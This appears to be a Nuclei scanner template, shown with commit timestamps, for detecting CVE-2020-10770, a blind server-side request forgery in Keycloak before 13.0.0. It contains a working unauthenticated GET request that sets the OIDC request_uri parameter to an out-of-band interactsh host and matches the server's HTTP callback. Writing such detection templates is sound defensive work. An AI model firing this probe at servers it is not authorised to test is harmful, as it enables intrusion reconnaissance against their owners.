2021-10-17 15:59:45 +00:00
id : CVE-2020-10770
info :
name : Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)
author : dhiyaneshDk
2021-10-17 16:01:55 +00:00
severity : medium
description : A flaw was found in Keycloak before 13.0.0, where it is possible to force the server to call out an unverified URL using the OIDC parameter request_uri. This flaw allows an attacker to use this parameter to execute a Server-side request forgery (SSRF) attack.
2021-10-17 15:59:45 +00:00
reference :
- https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
- https://www.exploit-db.com/exploits/50405
tags : keycloak,ssrf,oob
2021-10-17 16:03:20 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score : 5.30
cve-id : CVE-2020-10770
cwe-id : CWE-601
2021-10-17 15:59:45 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
